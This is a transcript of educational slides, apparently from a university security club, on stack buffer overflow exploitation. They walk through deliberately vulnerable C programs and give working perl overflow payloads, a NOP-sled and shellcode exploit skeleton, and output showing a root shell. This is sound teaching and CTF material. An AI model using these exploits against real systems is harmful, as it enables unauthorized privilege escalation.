Stack Overflows. Mitchell Adair



Similar documents
Buffer Overflows. Security 2011

Software Vulnerabilities

Off-by-One exploitation tutorial

Hacking Techniques & Intrusion Detection. Ali Al-Shemery arabnix [at] gmail

Assembly Language: Function Calls" Jennifer Rexford!

CS412/CS413. Introduction to Compilers Tim Teitelbaum. Lecture 20: Stack Frames 7 March 08

Unix Security Technologies. Pete Markowsky <peterm[at] ccs.neu.edu>

Return-oriented programming without returns

64-Bit NASM Notes. Invoking 64-Bit NASM

Format string exploitation on windows Using Immunity Debugger / Python. By Abysssec Inc

telnetd exploit FreeBSD Telnetd Remote Exploit Für Compass Security AG Öffentliche Version 1.0 Januar 2012

CS61: Systems Programing and Machine Organization

Lecture 7: Machine-Level Programming I: Basics Mohamed Zahran (aka Z)

Advanced IBM AIX Heap Exploitation. Tim Shelton V.P. Research & Development HAWK Network Defense, Inc. tshelton@hawkdefense.com

For a 64-bit system. I - Presentation Of The Shellcode

Software security. Buffer overflow attacks SQL injections. Lecture 11 EIT060 Computer Security

Attacking x86 Windows Binaries by Jump Oriented Programming

Hotpatching and the Rise of Third-Party Patches

Overview of IA-32 assembly programming. Lars Ailo Bongo University of Tromsø

Instruction Set Architecture

CS:APP Chapter 4 Computer Architecture Instruction Set Architecture. CS:APP2e

Abysssec Research. 1) Advisory information. 2) Vulnerable version

Bypassing Windows Hardware-enforced Data Execution Prevention

Practical taint analysis for protecting buggy binaries

Return-oriented Programming: Exploitation without Code Injection

Systems Design & Programming Data Movement Instructions. Intel Assembly

Cataloguing and Avoiding the Buffer Overflow Attacks in Network Operating Systems

Application-Specific Attacks: Leveraging the ActionScript Virtual Machine

esrever gnireenigne tfosorcim seiranib

MSc Computer Science Dissertation

Intel 8086 architecture

CSCE 465 Computer & Network Security

An introduction to the Return Oriented Programming. Why and How

Linux exploit development part 2 (rev 2) - Real app demo (part 2)

Heap-based Buffer Overflow Vulnerability in Adobe Flash Player

Stitching the Gadgets On the Ineffectiveness of Coarse-Grained Control-Flow Integrity Protection

How Compilers Work. by Walter Bright. Digital Mars

Syscall Proxying - Simulating remote execution Maximiliano Caceres <maximiliano.caceres@corest.com> Copyright 2002 CORE SECURITY TECHNOLOGIES

Lecture 21: Buffer Overflow Attack. Lecture Notes on Computer and Network Security. by Avi Kak

X86-64 Architecture Guide

WLSI Windows Local Shellcode Injection. Cesar Cerrudo Argeniss (

風 水. Heap Feng Shui in JavaScript. Alexander Sotirov.

CVE Adobe Flash Player Integer Overflow Vulnerability Analysis

Hydra. Advanced x86 polymorphic engine. Incorporates existing techniques and introduces new ones in one package. All but one feature OS-independent

TitanMist: Your First Step to Reversing Nirvana TitanMist. mist.reversinglabs.com

Chapter 7D The Java Virtual Machine

Bypassing Browser Memory Protections in Windows Vista

A Tiny Guide to Programming in 32-bit x86 Assembly Language

CS Computer Security Thirteenth topic: System attacks. defenses

TODAY, FEW PROGRAMMERS USE ASSEMBLY LANGUAGE. Higher-level languages such

Dynamic Behavior Analysis Using Binary Instrumentation

Computer Organization and Architecture

High-speed image processing algorithms using MMX hardware

Removing Sentinel SuperPro dongle from Applications and details on dongle way of cracking Shub-Nigurrath of ARTeam Version 1.

The Beast is Resting in Your Memory On Return-Oriented Programming Attacks and Mitigation Techniques To appear at USENIX Security & BlackHat USA, 2014

Machine Programming II: Instruc8ons

Where s the FEEB? The Effectiveness of Instruction Set Randomization

How To Understand How A Process Works In Unix (Shell) (Shell Shell) (Program) (Unix) (For A Non-Program) And (Shell).Orgode) (Powerpoint) (Permanent) (Processes

The Plan Today... System Calls and API's Basics of OS design Virtual Machines

Bypassing Memory Protections: The Future of Exploitation

Diving into a Silverlight Exploit and Shellcode - Analysis and Techniques

An Analysis of Address Space Layout Randomization on Windows Vista

Evaluating a ROP Defense Mechanism. Vasilis Pappas, Michalis Polychronakis, and Angelos D. Keromytis Columbia University

Writing Exploits III

and Symbiotic Optimization

EECS 354 Network Security. Introduction

Custom Penetration Testing

Using fuzzing to detect security vulnerabilities

EU FP6 LOBSTER. personal view on the future of ero-day Worm Containment. European Infrastructure for accurate network monitoring

SQLITE C/C++ TUTORIAL

Identification and Removal of

CHAPTER 6 TASK MANAGEMENT

An Introduction to Assembly Programming with the ARM 32-bit Processor Family

Violating Database - Enforced Security Mechanisms

x64 Cheat Sheet Fall 2015

Securing software by enforcing data-flow integrity

INTRODUCTION TO MALWARE & MALWARE ANALYSIS

Reverse Engineering and Computer Security

Cryptography and Network Security Prof. D. Mukhopadhyay Department of Computer Science and Engineering

Machine-Level Programming II: Arithmetic & Control

l C-Programming l A real computer language l Data Representation l Everything goes down to bits and bytes l Machine representation Language

Introduction. Application Security. Reasons For Reverse Engineering. This lecture. Java Byte Code

OpenBSD Remote Exploit

Upcompiling Legacy Code to Java

Attacking Host Intrusion Prevention Systems. Eugene Tsyrklevich

Introduction. Figure 1 Schema of DarunGrim2

CS:APP Chapter 4 Computer Architecture Instruction Set Architecture

Operating Systems. Privileged Instructions

REMOVING THE MYSTERY OF SECURITY ENGINES AND THEIR EFFECT ON YOUR NETWORK

Title: Bugger The Debugger - Pre Interaction Debugger Code Execution

There s a kernel security researcher named Dan Rosenberg whose done a lot of linux kernel vulnerability research

Betriebssysteme KU Security

Computer Architectures

Windows XP SP3 Registry Handling Buffer Overflow

Stack machines The MIPS assembly language A simple source language Stack-machine implementation of the simple language Readings:

Software Fingerprinting for Automated Malicious Code Analysis

W4118 Operating Systems. Junfeng Yang

Transcription:

Stack Overflows Mitchell Adair

Outline Why? What? There once was a VM Virtual Memory Registers Stack stack1, stack2, stack3 Resources

Why? Real problem Real money Real recognition Still prevalent Very valuable skill set Extends into format strings, heap exploitation, etc.

What? Overwriting adjacent memory on the stack In the case of a buffer overflow... by writing more memory that allocated

There once was a VM All these challenges, plus more Going to put future material on here as well Ubuntu virtual machine (vmware) Challenges, solutions, etc... utdcsg.org Don't give up! Join us in irc for questions

Low Text Data BSS Virtual Memory Code segment, machine instr. Initialized global and static variables Uninitialized global and static variables Heap Dynamic space. malloc(...) / free(...) new(...) / ~ Stack Program scratch space. Local variables, pass arguments, etc.. High

Registers EIP Extended Instruction Pointer ESP Extended Stack Pointer EBP Extended Base Pointer EAX EBX ECX EDX ESI EDI Next Instruction executed Top of stack Base pointer Accumulator register Base register Counter register Data register Source index Destination Index

The Stack ESP Low EBP local variables... EBP RET arguments... previous stack frame High EBP - x EBP + x

stack1.c int main(int argc, char *argv[]) { int allowed = 0; char name[100]; strcpy(name, argv[1]); } if (allowed == 0xabcd1234) execl("/bin/sh", "sh", NULL);

Writing down the stack ESP char name[100] 100 bytes EBP allowed = 0 EBP RET argc *argv[] 4 bytes 4 bytes 4 bytes

...writing down the stack ESP 104 bytes of data... 100 bytes EBP 0xabcd1234 EBP RET argc *argv[] 4 bytes 4 bytes 4 bytes

Defeating stack1 $./stack1 $(perl -e 'print "A" x 103') allowed at 0xbffff44c with value 0x00000000 name at 0xbffff3e8 sorry, not this time. allowed = 0x00414141 103 bytes of data A A... A A A 100 bytes 4 bytes

Defeating stack1 $./stack1 $(perl -e 'print "A" x 100. "\x34\x12\xcd\xab"') # id uid=1000(csg) gid=1000(csg) euid=0(root) 104 bytes of data... 0xabcd1234

stack2 int main(int argc, char *argv[]) { char name[100]; int allowed = 0; Can't overwrite allowed strcpy(name, argv[1]); } if (allowed == 1) execl("/bin/sh", "sh", NULL);

Controling eip We can still control program execution EIP gets popped off the stack during ret allowed = 0 108 bytes of data EBP evil address RET Args... Previous stack frame The ret instruction: Pop eip Pops the value off the top of the stack (esp) into eip

...where to jump? How about directly after the if... We can't make it past this jump 0x0804847d: cmp [esp+0x7c],0x1 0x08048482: jne 0x080484b7 0x08048484: mov [esp+0x8],0x0 0x0804848c: mov [esp+0x4],0x8048580 0x08048494: mov [esp],0x8048583 0x0804849b: call 0x8048364 <execl@plt> 0x080484b7: leave 0x080484b8: ret... If (value == 1) { execl('/bin/sh') } return But, we could overwrite eip (ret) to jump to here

Defeating stack2 $./stack2 $(perl -e 'print "A" x 108. "\x84\x84\x04\x08"') sorry, not this time AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # id uid=1000(csg) gid=1000(csg) euid=0

stack3.c int main(int argc, char **argv) { } char name[100]; strcpy(name, argv[1]); There's no point of interest to jump to. We'll have to create our own. We have roughly 100 bytes to work with...

Creating a Payload ESP? 100 bytes EBP EBP RET argc *argv[] 4 bytes 4 bytes 4 bytes

Defeating stack3-1 // fill the whole thing with the return address for(i = 0; i < 152; i+= 4) *((unsigned int *)(command + i)) = ret; ret Fill the entire payload with the ret address, pointing to the beginning. ret ret 152 bytes

Defeating stack3-2 // place the NOP sled for the first 60 bytes memset(command, 0x90, 65); NOP sled Fill the first X bytes with the NOP sled. ret 152 bytes ret

Defeating stack3-3 // place the shellcode after NOP sled memcpy(command + 65, shellcode,sizeof(shellcode)-1); NOP sled Place the shellcode after the NOP sled - this is the actual thing to be executed in the payload. Payload (/bin/sh) ret 152 bytes

The full payload ESP NOP sled 100 bytes Payload (/bin/sh) EBP EBP ret 4 bytes 4 bytes RET 4 bytes argc *argv[]

Entire Exploit int main(int argc, char *argv[]) { char command[152]; /* create a local variable i for reference, set the ret value to i's address, minus some offset */ unsigned int i, ret, offset = 60; 1 2 3 } /* fill the whole thing with the return address */ for(i = 0; i < 152; i+= 4) *((unsigned int *)(command + i)) = ret; memset(command, 0x90, 65); // place the NOP sled for the first 60 bytes // place the shellcode after NOP sled memcpy(command + 65, shellcode,sizeof(shellcode)-1); execl("./stack3", "stack3", command, (char *)NULL);

Just for completeness... $./a.out # id uid=1000(csg) gid=1000(csg) euid=0(root)

This is all available... On the CSG Ubuntu virtual machine Challenges Solutions utdcsg.org Hop in irc if you have questions Don't just look at the solutions ;) Slides + individual vuln#.c files utdcsg.org

Resources utdcsg.org Of course... Art of Exploitation Awesome book... go buy it, seriously. smashthestack.org Great wargames, exactly the same kind of challenges